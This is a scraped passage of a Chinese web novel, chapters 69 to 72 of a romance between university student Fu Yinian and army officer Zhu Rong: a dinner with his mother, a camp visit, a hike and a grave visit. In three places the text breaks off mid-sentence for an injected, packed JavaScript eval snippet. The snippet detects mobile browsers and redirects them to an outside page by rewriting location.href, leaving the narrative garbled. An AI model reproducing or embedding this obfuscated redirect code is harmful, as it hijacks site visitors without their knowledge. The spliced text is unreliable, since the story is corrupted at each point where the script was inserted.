容院长当然也不在意这个,她问符伊年有时间没有,“一起吃个饭?” 符伊年其实不太确定容院长找她的目的。她对容院长的所有了解都是来自祝镕的介绍。 祝镕说,他家里对他对象没什么特别的要求,他的父亲对他伴侣的要求只有八个字:身家清白、人品良好。至于容貌、年龄、职业,他爸爸的原话是“随便”。 而他的妈妈,容院长,对他伴侣的要求只有两条:活的,女的。 以上来自祝镕的介绍,至于真实情况,谁知道呢? 不过此时此刻,容院长既然提了出来,符伊年自然是恭敬不如从命,一顿饭而已,又不是龙潭虎穴,没什么怕的,符伊年告诉自己,总不会拿出一张卡来同她说。 给你五百万,离开我儿子。 69. 容阿姨 第六十九章 符伊年倒是不怎么怕容院长,大概有祝镕和她实在长得像得缘故,不过她也没有轻易第放下戒心。 面对容院长提出得带她去吃饭得提议,符伊年自知是没有权力和余地拒绝的,当下答应下来,“不过我能不能先上去放下东西?” 容院长当然不会反对,微笑着目送她上了楼,心说:小姑娘心思挺多的。挺好,总比傻白甜好多了。 符伊年回到宿舍并没有多耽搁,把买到的东西放在床上,同还在宿舍的马悦说一声,就匆匆下楼去。 容院长仍然站在那里,来往的同学都在在偷偷打量她,不过容院长并无不悦,甚至偶尔和某位同学对视了,还冲人家微微笑。 符伊年小跑着下了楼梯,微微气喘,“容阿姨。” 容院长见她和刚才没有两样,才发现她是真的去放东西的——还以为她会稍微打扮打扮呢。 符伊年也不是没打扮,她甚至洗了脸,擦了很少用的雅霜,甚至还重新梳了头发。 “走吧。”容院长示意她上车。 司机下车小跑着过来给容院长开车门,符伊年则在另外一侧上车。 上了车,容院长先递了一瓶汽水给符伊年,“消消暑。” 符伊年没想到容院长这么体贴,不禁心生好感,但是很快又觉得,该不会是大棒落下之前的优待吧?毕竟死刑犯行刑前也要先吃好喝好的。 容院长并不知道符伊年心中所想,正一脸抱歉地同符伊年讲:“祝镕不在,辛苦你了。” 符伊年摇头,“他要保家卫国嘛,这是他的工作,也是他的理想和信念。” 容院长观察她的表情,确定她的话并没有违心,于是表情放松了些,很是欣慰地拍拍她的手,“我本来早就想来看望你的,只是实验室正在要出结果的关键时期,我不能离开,所以一直推迟到了现在。” “多谢您惦记着,”符伊年斟酌着语气说到,“还是工作重要的,我在学校一切都很好的,不用担心。而且我听祝镕提到过,您的实验室是国家重点实验室,我非常钦佩您的。” 符伊年这话倒不是假话,随着和祝镕的交往渐久,两人的了解也越发加深,偶尔会谈论起各自的家人。 祝镕知道符伊年的父母都牺牲了,很少提起,怕惹她伤心,更多地会提起的是他的父母。 在符伊年提到以后不太会以家庭为中心、而是努力创业时,祝镕就表示支持,他说他的妈妈容院长就是一位事业型女性。 祝镕说他很小的时候就记得她经常一身白大褂,身上一股消毒水的味道,而且她经常好几天好几天的泡在实验室不回家,小时候还很不高兴,因为彼得小朋友都有妈妈带着玩、送上学,他没有。 直到上了中学,长大懂事了,知道她做的是大事,她们实验室研究出很多药物,好用又便宜。祝镕的原话是:造福人类。 符伊年觉得祝镕是有滤镜的,但是她并不觉得这是夸张的。 车子在校内行驶的很慢,毕竟行人较多,待驶出学校,速度加快,容院长问符伊年:“喜欢吃中餐还是西餐?” 符伊年本人最讨厌吃饭的时候不做选择只说“随便”然后让对方选,由己及人,符伊年觉得对方也不会喜欢这样的方式。 不过符伊年也不是什么一根筋的人,她先问了容院长想吃什么,容院长才从实验室出来,闻多了化学试剂的味道,就想吃些味道浓郁的,便提出去吃中餐。 符伊年当然表示赞同啊,还有什么能比中餐更好吃呢?是八大菜系不香吗?还是各式面点不好吃? 车子停下,下了车的符伊年在看到楼顶上写的”首都饭店“四个金字,愣住了,这么隆重的地方,也太郑重了吧?难道真的被自己猜中了? 符伊年不禁看向容院长,容院长不知道符伊年心中所想,等她走过来后,率先走上台阶进入饭店里。 心中猜想是心中猜想,即便时最坏的结果,也不能拦着符伊年享受美食,更何况,容院长点的都是首都饭店的招牌菜。 符伊年没有过分客气,也没有十分矜持,如同往常一样该吃吃该喝喝,毕竟人间美食不可辜负。 容院长吃得也很专心,速度不慢但是并不失仪,甚至还能边吃边观察符伊年,见她真的是一幅在享受美食的样子,不禁微微笑,在心中颔首。 不过,到底是心中有事,符伊年吃到后面,速度就慢了下来,同时瞄着容院长的速度,待她吃完的时候也放下了筷子。 说是“吃饭”当然不可能光“吃饭”,谈谈心聊聊天总是要的。 容院长让服务员送了一壶铁观音上来,给二人各自倒了一杯茶,“最近学习和生活还顺利吗?有没有遇到什么困难?” 符伊年一边对服务员颔首表示感谢,一边看向容院长,回答他的问题,“都挺好的,第一学期结束了,期末考试也考完了,后天就放假了。也没有什么困难,一切都听顺利的。” “我听祝镕说,你打算去他那里探亲?待多久?” “是,”符伊年两手握着杯子,嘴角微微扬起,“打算待一周左右,然后回安县过暑假。” 容院长听完,沉吟了片刻,“安县只有你自己,要保重身体,注意安全。” 符伊年很意外。她以为容院长会提出让她探亲结束后回京城过暑假,没想到她只是说了些叮嘱她的话。 一直到从首都饭店回到农大,车子停在宿舍楼下了,符伊年之前猜想的那些事都没有发生,那些话也没有听到。 到了此时此刻,符伊年只要扳动把手,就能下车。可是符伊年迟迟没有动作,她低头想了想,还是问了出来。 “容阿姨,您没有别的话问我了吗?” 容院长有点奇怪,而且事很奇怪,“什么话?应该,没有了吧?” 符伊年眨眨眼,不好说自己脑补了些什么,“没有就好,那,谢谢阿姨。请你帮我问叔叔好。” * 送别了容院长,符伊年深深地吐出一口气,转身走回宿舍楼。本来都已经走到一楼了,想了想又重新下楼,到舍管老师那里打电话给祝镕。 说起来,女生宿舍的这部电话,十次有七八次是符伊年拨打的,若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12961236|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的计算收费,或许大学这四年下来,光符伊年的电话费都可以抵消这部电话的安装费了——这个时代,安装一部电话,听说要四五千块呢。 祝镕刚从食堂回到办公室,因为过两天符伊年即将来探亲,祝镕的心情格外好,营部的所有人,上到营长政委下到普通士兵,都能感受到他的好心情,有几个胆子大的士兵甚至还敢和他开起玩笑来。 祝镕再一次接到符伊年的电话还挺奇怪的,因为距离两人上一次通话才隔了一天,按照符伊年的性子,只会在出发的那天打电话告诉自己。 “怎么了?发生了什么事?”祝镕很关切,最近他越发地发现离得太远了,有时候想使力气都使不上。 符伊年话都到嘴边了,想了想又没有说,换了另外一个话题,“没发生什么事,就是想问你还有什么想要的吗,我在京城这里买了带过去,这里毕竟物资充足一点。” 祝镕不太相信,“就这件事?”同她确认了一遍。 “就这事儿。”符伊年说到这里,突然又想起来另外一件事,“对了,你现在身高体重多少?还有腿长,告诉我一下。” 祝镕:“怎么?要给我买衣服?用不着,我这穿不上,穿军装就足够了。” 符伊年一听就知道这话言不由衷,她嘴角抽了抽,干脆假模假式地顺梯子下房,“那,好吧,那就不买了。还有别的事吗?没有我就挂了啊。” “没……”有了。 祝镕的话还没说完,就听到“咔哒”一声,电话被符伊年挂断了。他把话筒从耳边拿下来放到眼前看了看,无奈地笑了笑,讲话筒扣回原位。 符伊年回到宿舍时,只有米仙花在,正坐在桌前一边看书一边一边吃饭,看到符伊年回来,对她招招手算打招呼。 符伊年把包挂在自己床头的钉子上,凑过来看一眼她的书,是一本英文杂志。 符伊年知道,自从第一节课因为误将英文字母读成了汉语拼音而惹了消化,之后米仙花就非常努力的学习英文,还用破天荒地买了一碗红烧肉做拜师礼拜了符伊年为师,符伊年哭笑不得地告诉她用不着这样客气,只要她知道的一定会知无不言。 不过,最后符伊年把这碗红烧肉分了一半,剩下一半留给米仙花。一是因为米仙花家庭条件不好,这一碗红烧肉可不便宜。二是因为如果符伊年一点都不吃的话,米仙花肯定不好意思来问自己问题。 经过一个学期的努力和用功,到期末的时候,米仙花已经背会了近千个单词了,虽然很多时候还是哑巴英语。 符伊年:“怎么样?都能看懂吧?” 米仙花点点头又摇摇头,“能看懂大部分,有些单词还是得查字典。” “慢慢来,以后就好了。”说晚,跑去行李架上拿了一只行李箱下来,准备收拾行李,“学习外语,靠的是日积月累,不是一朝一夕。” 米仙花点头,表示记下了,然后看着符伊年忙来忙去地整理行李,几次张口,最后还是闭上了。 年年很成熟很稳重了,一定明白自己要做什么。而且,她也一定会保护好自己的。 70. 见面 第七十章 时隔两个半月,符伊年再次坐上火车。这趟车从京城出发,途径了祝镕驻地所在的县城。中间需要的时间并不算久,早上出发,中午过后就到了。县城不大,车站也很小,比安县还要小一点,但是很干净整洁。 下车的人不多,算上符伊年也才三个人。 符伊年的手提箱不重,里面也就四只真空包装的烤鸭和几套衣物而已,她提的很轻松。按照车站的指示出了站,符伊年一眼就看到了出站口的祝镕。 祝镕也看到了她,很开心地冲她摆摆手,向前快走了几步,在符伊年刚走出闸口的时候就接过了她手中的手提箱。 “来了?” “嗯,来了。” 两个人对视着,各自笑得都很开心。 “累不累?”祝镕带着符伊年走向停在路边的军用吉普,“饿不饿?先吃饭再回营部?” 符伊年摇摇头有点头,“不累也不饿,不过可以先吃了再回去。你也没吃呢吧?” “我上午就出来了。”祝镕一边倒车一边回答她,“有什么想吃的吗?” “你看着来。”符伊年没什么想法,过来一会儿,突然扑哧一声笑了出来。 祝镕疑惑地看向她,“这是怎么了?才见面就笑话我?” 符伊年摆摆手表示没有,“我是笑,我们好像每次见面都在讨论吃什么。” 祝镕回想了一下,还真是,于是也笑了起来,“民以食为天嘛。” 祝镕开着车一路往前走,符伊年则是不时地看向窗外。一开始在城里的时候道路还比较平坦,出了城后,道路就是土路居多,除了颠簸之外,还有很大的灰尘,符伊年不得不拉上车窗。 这个时候的车子还没有空调,车窗一关立刻闷热起来,不过即便这样符伊年也没有开窗——热点就热点吧,总比被灰尘呛到好。 道路两边是成片成片的农田,玉米秧苗已经长得比人都高了,在烈日下蔫哒哒的,没什么精神。 “这是去哪儿啊?”符伊年见祝镕开了好一会儿了还没停车,不禁疑惑。 “去把你卖掉。”祝镕认真地看着前方,前面是个村子路口,经常有村民的牲畜跑出来,万一撞到就不好了,分神逗了符伊年一句。 符伊年:…… 祝镕带符伊年来到一个镇子上的一户人家,说是人家,但是看得出来,其实并不是住户,而是一处饭馆,但是很明显,这不是国营的。 符伊年看着敞开的大门和满座的客人,很是惊讶,“私人饭馆?就这么光明正大的开着?” 不时还没有改革开放呢吗?这么早就有个体经济了? “小地方,没人管。”祝镕领着符伊年进了东边的厢房,压低了声音说:“而且今年管得越来越松了,可能政策会有变动。” 午饭吃得很简单,吃完后也没有多停留,直接开着车回了营部。 时间已经是半下午,正是一天中最热的时间段,士兵们都在宿舍休息,操场上空荡荡的。 推开车门从车上跳下来,符伊年见外头一个人都没有,之前因为即将见祝镕战友和下属的紧张心情立刻消失了,准备装淑女的模式也收了起来,恢复成本来的样子。 殊不知,此时此刻,士兵宿舍楼的每一扇窗户后边,都挤满了看热闹的士兵。从祝镕的车子驶进宿舍区开始,士兵们就已经凑到窗口来看了,一边看还一边议论纷纷。 “让我看看让我看看。” “听说是大学生呢,学习肯定不错。咱营长就厉害,找的对象肯定也差不了。” 等到符伊年从车上下来,谈论的话题又开始变成了她的相貌。 “长得好看啊,比文工团的秦思雅还漂亮。” “个子也高,得有一米七了吧?就比营长矮一头。” 符伊年不知道自己已经够成为了众人谈论的对象,她从车上下来后,直接拉开后门把行李箱提出来。 “哟,自己提东西,应该有把子力气。” “那可不一定,说不定箱子是空的。” 箱子是不是空的他们不得而知,他们只看到自己那位平常十分正经、只有偶尔才嘴角上翘微笑一下的祝营长,此刻正笑得灿烂,两排牙齿都露了出来。 啧,这是得多欢喜啊。 祝镕一手接过符伊年的箱子,率先走进干部宿舍楼,符伊年紧随其后,待身后的楼门关上,祝镕立刻用另外一只手牵住了符伊年的手。 其实从见面开始符伊年就在奇怪了,这人怎么这么老实,电话里说的抱一下没有抱,连牵手都没有牵,要不是对自己和祝镕都十分有信心,符伊年都快觉得是不是出了出现了什么事了。 祝镕的宿舍在三楼,一共三户,他住中间。 “左边是参谋,右边是三营长,两家都有家属在,。”祝镕掏出钥匙开门的时候,给符伊年介绍,“以后介绍你们认识。” 符伊年跟着祝镕进门,刚“嗯”了,一声,还没等继续往下说,就听见行李箱被祝镕放在地上,接着人就被他搂进了怀里。 符伊年稍微愣怔了一下,接着露出一个会心的笑容,也抬起手臂,抱住祝镕的腰,嗯,不粗不细,挺好摸。 祝镕抱着符伊年,下巴放在她的肩膀上,脸埋在她的颈窝,用力吸一口气,闻到的不只是洗衣皂的清香,还有女子的馨香。 符伊年感受到腰间的手臂越来越用力,自己得腰快要被箍得断了,无奈之下用拳头敲了敲祝镕的背,示意他松一松。 祝镕松开符伊年,深呼吸几次,收敛好自己的情绪,“我带你转转?” 符伊年点头,脸隐隐地发热。 祝镕这间宿舍是一间小套二,和符家在安县的房子差不多大,没有厨房,卫生间面积更大一点,小卧室被祝镕改成了书房,里面除了书架书桌等办公家具,还有一张折叠床。 “你住这里?”符伊年转头看向自己身后的祝镕。 祝镕:“嗯,这几天住这里。” 转了一圈,符伊年在沙发上坐下,指挥祝镕把箱子提过来打开,“我买了四只烤鸭,每只大概两三斤的样子,你看看怎么分配,另外还有一件白衬衫是买给你的,两条牛仔裤中长的那条是你的。” 祝镕本来以为这些衣服都是符伊年的,正一件件展开打算给她挂起来到衣柜里,闻言动作一顿,重新找到刚才挂起来的两条牛仔裤。 刚刚祝镕就在奇怪,怎么年年买了两条牛仔裤,其中一条比另外一条肥大了那么多,原来是买给自己的啊。 祝镕笑得十分灿烂,“我还以为真的没有我的呢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976567|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符伊年转头瞥了他一眼,看到他笑得像朵花似的,嘀咕了一句:“口是心非。” 祝镕丝毫不在意她的吐槽,他拿着牛仔裤在身上比了比,转身走进了书房,并关上了门,再出来的时候,他一句换上了牛仔裤。 “怎么样?”祝镕很得瑟地在符伊年身前转了一圈。 符伊年讲祝镕从上到下打量了一遍,再也忍不住,捧着肚子大笑起来。 原来,祝镕虽然换上了牛仔裤,上身也是符伊年给他买的白衬衫,可问题是他把衬衣的扣子一直系到了最顶端,下摆还掖在了裤子里面,裤子上还束了一条腰带。 符伊年想象的时尚、潇洒、帅气,全都没有。 嗯,不对,至少脸是帅的。至于气质嘛,就这么说吧,如果祝镕再胖一点,肚子再大一点,腰带上再挂一串钥匙……你懂的。 “不好看啊?”祝镕迟疑着问,“那我换下来。” 符伊年一边对他招手一边笑个不停,等祝镕走近了,就起身把他衬衣扯出来,又让他自己把最上面的风纪扣解开。 这时候她总算笑好了,这才眯着眼同祝镕解释,“人家是休闲衬衫,你没发现版型和你平时的不同吗?” 祝镕不好意思地笑笑,“没太注意。所以这种衬衫是不用往裤子里掖的?这也太不正经了吧?” 说着祝镕走向门口的穿衣镜,往里一看,愣住了。镜子里的人还是那个人,平头板寸,麦色肌肤,可是整个气质却迥然不同起来,好像一直禁锢在身体里的某些东西忽然消失了,整个人看起来很松弛的样子。 “感觉如何?”符伊年也走了过来,站在祝镕的身边。 祝镕打量着符伊年身上这件粉色布拉吉,拉着人进入卧室。 符伊年挑挑眉毛,不是吧,就换了身衣服而已,这是打开了什么封印,居然这么大胆竟然拉着自己进了卧室?这可是大白天! 祝镕当然没那么大胆子,且不说了这里是军营,又是白天,两个人还只是对象,尚未领证,他可不敢越轨做些什么。 祝镕只是又打开衣柜,把另外一件符伊年的牛仔裤找出来,塞进她的手里,“你也换上。”说完自己率先走了出去。 符伊年看着被关上的门,再看看自己手里的牛仔裤,笑起来。该说不说,虽然现在还没有情侣装这个概念,可是人们对于情侣装的心思却一直都在的。 祝镕从卧室里出来后,突然有些不知所措,他在客厅转了两圈,不自觉地重新站到穿衣镜前,看向里面格外不同的自己,突然咧开嘴笑起来。 就在这时候,卧室门被打开,符伊年从里面走出来,祝镕的目光一下子落在她身上在也移不开了。 同样是白色衬衫搭配蓝色牛仔裤,符伊年既没有将衬衫衣摆全露在外面也没有全掖进裤腰里面,而是只掖了前面一半,使后摆看起来像是燕尾一样垂在身后。 而且,就这么一会儿,她还换了发型,把马尾换成了花苞头,整个人洋气的像是归国华侨。 符伊年来到镜子前,和祝镕并肩而立,她也在注视着镜子里的两个人,自然掖察觉到了祝镕的目光,她对着镜子里的他甜甜一笑,“好看吧?” “好看。”祝镕目不转睛地盯着她,手稀稀簌簌地蹭过来,抓住符伊年的手,没有再放开。 71. 野炊 第七十一章 晚饭的时候,祝镕将符伊年带来的四只烤鸭都拿去厨房交给厨师。 厨师知道这是好东西,虽然有心让所有人都能品尝烤鸭,但是也知道这是祝营长的对象给他带来的物资,不禁看向祝镕,想听听他怎么安排。 祝镕想了想,让厨师留了一只烤鸭片成片,给营长、政委、参谋等人,其余的全都给士兵,“肯定不够,切成丁和黄瓜丁胡萝卜丁一起炒了吃,多少尝个滋味。” 符伊年:“鸭架别扔,搁锅里,加点葱和姜,炒出油来放水煮汤,可好喝了。” 于是当天的食堂,除了往常的豆角茄子土豆白菜这样的菜,还多了一道烤鸭肉丁炒菜丁和一道鸭架汤。 肉丁太少,大部人都只是吃个滋味,鸭架汤却不然,不过就是几瓢水的事,几乎每个士兵都能喝上两大碗。 而营长政委等吃中灶的人在看到桌上的两盘子烤鸭片时,十分惊喜,“嗬!炊事班今天发财啦?” “营长,哪能咧,”炊事班班长端着一盆鸭架汤从后厨出来,“这是祝副营长对象给他带来的烤鸭,祝副营长说了,留一只给咱们中灶,其余的都分给士兵们了,自己一只都没留。” 营长自然时早就听说过符伊年的姓名,也知道她来部队探亲祝镕,没想到还带了物资过来,实在是一大惊喜。 因此等开饭时,营长见到祝镕后,主动提出可以给他批一天假期,加上明天周日,让他好好陪符伊年在营部和周围好好转转。 祝镕:“先谢谢营长了,不过现在不急着请假,等她回家的时候我再请假送她回去。” 符伊年也笑着同营长道谢,说两个人之前就是这么想的。 营长:“行,你们自己商量好就行。” 第二天周末,祝镕不用上班,一清早他就开车带着符伊年出了军营,两人要去军营后面的那座山上玩。 为了方便爬山,符伊年今天穿了运动鞋和运动服,整个人看起来清新又活力。而祝镕则穿上了他的新牛仔裤和白衬衫,白衬衫里面是军绿色的运动短袖,甚至无师自通地里面将扣子全解开了,腰带也没有系。 看着他这副潇洒倜傥的打扮,符伊年心中暗暗得意:这样的人物,归我了!这样想着,就忍不住吹了声口哨。 祝镕正在收拾野餐包,听到这声口哨抬头瞥她一眼,轻笑一声,接着继续整理。为了这次出游,祝镕还请炊事班帮忙准备了些吃的,加上他之前在镇上买的,符伊年走过去查看了一下,花样还挺多。 “这是什么?”符伊年拿起一个类似沙琪玛的食物。 祝镕看了一眼,“沙琪玛。镇上村民做的,虽然是手工的,但是很好吃的。”像是怕符伊年嫌弃一般。 符伊年:“我就说怎么长得那么像。” 这天天气还不错,一早上很凉爽。祝镕将车停在山脚下锁好车门,一手提着野餐包,一手拉着符伊年,往山上走去。 这座上不算高,但也不低,坡度有点陡,有专门的上山石阶,半山腰和山顶上还有亭台和石刻,大概是某个朝代的大户人家修建的,看起来年代很久远。 符伊年大概是有段时间没锻炼了,还没爬到半山腰就觉得累了,气喘吁吁的拉着祝镕的手借力。 “再坚持一下,到了半山亭那里我们休息一会儿。”祝镕面色不改气息不变地安抚她,手上也在用力拉着她往上。 等终于爬到半山腰的亭子时,符伊年恨不得立即躺下休息,不能躺坐一下也行哇。结果她的膝盖才刚打弯,臀部还没挨着石凳呢,就被祝镕给拽了起来。 “干嘛呀!” 被祝镕拽进怀里的符伊年怒视他,就算想抱她就不能让她坐下后再抱吗? 祝镕:“不能坐,刚爬完山就坐容易腿抽筋,而且就不想再站起来了。” 哦,好吧。符伊年意识到自己误会他了,遂拍拍他的手臂,当作道歉和安抚。 祝镕却以为符伊年是有话要说,遂低下头看她,正好与抬起头看他的符伊年的目光对上。此时此刻,祝镕正一只手臂扶着她的的腰另外一只手本来提着野餐包,现在却扶住了她的后脑,慢慢低下了头…… 过了一会儿,符伊年依然气喘吁吁,祝镕也从之前得平静变得大口呼吸。 两人对视着,笑起来,互相拥抱着,感受着彼此得心跳和温度。 重新出发,越往上走,海拔越高,空气越凉爽,加上周围郁郁葱葱的树木遮住了热烈的阳光,感觉非常舒适。 因此后面的路程还算比较轻松,因此当到达山顶时,符伊年并没有筋疲力尽之感。 山顶上也有一座亭子,比下面那个更大,没有雕梁画柱,甚至柱子的红漆也剥落了,但是里头有石凳石桌供游人休息。 祝镕让符伊年慢慢走一走再坐下,自己把野餐包放在石桌上,从里面取出水壶拧开盖子给符伊年,“补充些水分,是淡盐水。” 符伊年并不客气他,她确实很渴了,一口气喝了不少,把水壶还给祝镕时,祝镕直接对着壶口也喝了起来。 符伊年张嘴想说些什么,后来想想算了,唾液都交换过了,共用一个水壶算什么。 符伊年在石凳上坐着,放眼望去,周围一片绿色,十分养眼,而且,对面还有一个大帅哥,更是赏心悦目。 因为太热,祝镕已经把衬衫脱掉了,短袖因为出汗紧贴在腹部,露出腹肌的形状。符伊年偷偷数了一下,嗯,最少有六块,不错。 她的小动作当然逃不脱祝镕的眼神,但是他并没有阻止,甚至还故意收腹,让腹肌形状更清晰。 符伊年:……孔雀开屏也不外如是了吧。 两人坐着,享受着难得的悠闲,随便聊着天,不知不觉说到当初祝镕追求符伊年时,她的“考虑一下”。 “我还以为你要考虑很久。”祝镕看向自己的女朋友。 符伊年:“怎么,觉得我答应的太快了?没关系,虽然已经快三个月了,我还是可以撤回的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986827|131614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 祝镕立刻严肃起来,“当然不行。不过,我觉得公平起见,有些事你也应该说一下。” 符伊年很奇怪,究竟是什么事居然让祝镕用上了“公平”这个词。 符伊年:“嗯,你说。” “我其实一直知道,你肯定不是被我那天的几句话给打动的,既然很快就‘考虑’好了,那么,从什么时候开始动心的呢?又是因为什么值得你动心的?” 祝镕盯着符伊年的眼睛,似乎真的很渴望她的答案。 符伊年其实不太想回答这个问题,因为没什么意义,喜欢就是喜欢了,至于什么时候喝什么原因,她自己都搞不清楚,于是她问道:“这件事很重要吗?” 祝镕点头,“对于我来说,很重要。” 既然如此,符伊年就好好思考了一下,要说祝镕这个人,绝对是非常理想非常抢手的对象之一。若是在后世,追求者绝对趋之若鹜,即便是这个时代,也不乏“林娜”之流。 “嗯,长得好个子高、智商高学历高、是军人……” 符伊年一口气说了七八个祝镕身上的优点和特点,而她每说一个,祝镕的脸色就变得难看一分。 “这些都是,也不都是。”符伊年垂下眼睛,“一个人被另外一个人吸引,并不是因为某一方面,也不会具体到哪些点,而是气场,听起来很不可思议是不是?可事实就是这样。” 符伊年抬起眼睛,看向祝镕,她在他的眼睛里看到了自己,“古人说:情不知所起,一往而深。我或许还不够‘深’,但至少是‘真’,出于感情、落于现实。” “所谓的‘考虑一下’,不过是我作为女孩子的矜持,如果你觉得很快,我考虑‘两下’也是可以的。”说然,她冲祝镕眨眨眼。 言外之意:喜欢确实是喜欢的,现实的因素也是有的,但是如果你再继续深究,就很不礼貌了。 祝镕很动容,符伊年说得很真诚,感情之事不应该细究如何发生、何时高潮、终究怎样,对彼此的吸引力也未必就一成不变,两人都是不是那种瞻前顾后的人,何必再追究从前的事。 “对不起,”祝镕对符伊年说,“是我着相了,下次不会了。” 符伊年感觉气氛有些尴尬,想着缓和一下,于是眉毛一竖:“你还想有下次?” “没了没了,再没了。”祝镕十分理解她的用心,举起三根手指表示自己的决心。 符伊年嘻嘻笑着大手一挥,“本人大人有大量,原谅你了!” 祝镕被她的样子逗笑,忍不住俯身抱了她一下。 临近中午,两人打开野餐包,把准备好的食物拿出来,因为天气热也不怕食物变凉,两人吃得很开心,还不时地讨论一下做法。 带的食物不多不少,吃完的时候刚好吃饱,符伊年拍拍肚皮,伸个懒腰,然后往桌子上一趴,舒服地叹气,“这日子,真好啊。” 她没有看到,祝镕看见她伸懒腰时露出的纤细白皙的腰,瞳孔一缩,站了起来。 72. 约会 第七十二章 符伊年在祝镕这里一共待了六天,她是周六到得,周日那天和祝镕去爬了一次山,第二天周一祝镕就要上班了,符伊年就自己待在宿舍,偶尔跟着炊事班的车出去到附近的镇子上转转。 一周的时间过得非常快,快得祝镕还没反应过来,符伊年就要离开了。离开前的一晚,祝镕没有再住书房,而是陪着符伊年在卧室。 当然,什么都做,盖着被子纯聊天而已。 第二天祝镕开车送符伊年回安县。他早就同营长请好假了,一共请了两天,加上中间的周日,有三天的时间。 不过,开车来回路上就要用去一天,实际上能在安县停留的日子也只有一天而已。 因为前一晚床上多了个人,还是自己喜欢的人,符伊年多少有些不适应,睡得也不时十分安稳,于是第二天启程没有多久,她就在副驾驶上睡着了。 祝镕看着她甜美的脸庞,忍不住用力握了握方向盘,长出一口气。他其实睡得也不好,美色在侧还得稳住不乱不越界,实在是十分考验人,尤其后半夜符伊年的手臂搭在他的胸前,他要很用力才能压制住自己的冲动。 现在祝镕就是后悔,极度的后悔,他不应该她撒个娇就顺从地留下来,以至于现在她在副驾驶上睡得香,自己却要开五六个小时的车,实在有些煎熬。 好在符伊年没有睡很久,很快就醒来了。她伸了个拦腰,看向窗外,“走多久了?到哪里了?” “两个多小时了,再过一个小时就进安县境内了,”祝镕从身侧拿了个水壶递给她,“喝点儿水,清醒一下。” 符伊年接过来喝了两口,本来想问祝镕要不要喝,又想到他在开车,不禁嘀咕要是有个吸管就好了,“你待会儿停车喝吧。” 祝镕无可无不可地点头,又开了一会儿,突然问道:“我们路上可能会经过你老家,要停下车看看吗?” 符伊年想了想,点头,“我带你见见我爸妈。” 祝镕一愣,点头答应下来,是的啊,是应该见见人家的父母。 符伊年看到了祝镕的状态,忍不住撇嘴,“也就是我爸妈不在了,不然你哪会这么容易哦。” 原主可是父母的心头肉呢,不说过五关斩六将,三番两次的考验总是有的。 祝镕十分痛快地点头,一点不否认,可是他也不能说“庆幸”之类的话,那样就太没有良心了。 进了安县境内,祝镕在经过一个乡镇的时候停了下来,下车去找了个供销社,买了些香烛值钱,准备一会儿去墓前烧给岳父母。 除此之外,还买了些果子,是一个大娘用筐背着在路边卖的,祝镕见大日头的也没个树荫,怕人晒中暑,干脆连筐一起买下了。 “这么多,怎么吃啊?”符伊年皱眉,总不会是想再带回部队吧? 祝镕当然不会带回部队。他打算留一半给符伊年,让她给左邻右舍送一些,剩下一半给胡克送去,之前没少麻烦他,总要表示感谢。 符伊年听了,立刻表示赞同,还给祝镕竖了大拇指,“我都没想到,还得是你。” 又开了个把小时,到了杨树庄。符伊年没打算回老宅,也没想去五叔爷爷家,就让祝镕把车停在远离村子的路边,两个人提着香烛纸钱和几个水果上了山。 祝镕跟着符伊年来到符志宏和唐致清的坟墓前,上了香燃了纸钱,又把几个水果供到坟前,对着墓碑鞠躬了三次。 祝镕见符伊年对着墓碑沉默,没有打扰她,也沉默地看着墓碑,心中默默对里面的人再一次鞠躬:叔叔阿姨,你们好,我是年年的对象,你们放心,我一定会对年年好,在我能力范围内,为年年提供最好的生活,支持她的梦想和事业。你们可以在另外一个世界监督我。 符伊年无论如何也想不到,祝镕在心里说得话是这样的,她还以为他之事简单地对两位烈士表达了敬意和拐走了他们女儿的歉意。 从山上下来,两个人都沉默了许多。祝镕没有立即开车,而是握着符伊年的手无声地安抚了她很久。等到她缓过来后,又给她喂了些水,才重新开车上路。 祝镕计划在下午四点左右的时候到达安县,中途因为去了扫了一次墓,所以比预计时间完了些,实际到达的时候大概快五点钟了。 幸好是夏天,天黑的晚,五点钟的时候天色还是很亮的。祝镕把符伊年送回化工厂家属院,停车的时候他给门卫的大爷送了一条烟,两人心照不宣地握了握手,然后在符伊年疑惑的目光里提起行李箱进了院子,上楼。 两个多月不在家,一打开门就是一股尘螨的味道,第一件事就是开窗通气,然后开始打扫卫生,因为家具床铺都盖了防尘布,其实比较好清理。 加上有祝镕这个内务能手,两个人很快就将内外整理完毕,期间符伊年洗了些祝镕买的水果给邻居和楼上卢主席送去,等她再回来的时候,祝镕已经把地板都拖干净了,洗衣机里的防尘布也甩干拿出来晾上了。 “走吧。”祝镕提起符伊年的挎包递给她,自己又提了些水果,“去找胡克。” 